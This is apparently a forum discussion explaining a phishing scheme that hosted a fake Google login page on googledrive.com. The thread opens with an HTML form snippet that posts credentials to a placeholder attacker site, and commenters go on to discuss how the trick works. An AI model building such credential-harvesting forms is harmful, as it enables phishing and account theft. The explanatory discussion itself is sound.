Using something like:<form action="somebadsite.com/script.php">
So the credentials entered get submitted to the form which is sent via POST request to an external server. From there they can do whatever they want with the credentials (perhaps save them to a db) then redirect back to google docs.
AFAIK, it's not a legitimate login form. It's a attacker-created form that just looks like the login form. The trick is that they used Google Docs to host it on a .google.com server.
it wasn't actually hosted on a .google.com domain. It was googledrive.com, which is also owned by Google, but you should never expect a login form on that domain.
I might be missing something, but how does this part work?
Is it because the document in the Google Drive folder is actually a html document that the browser is loading (and executing javascript of)?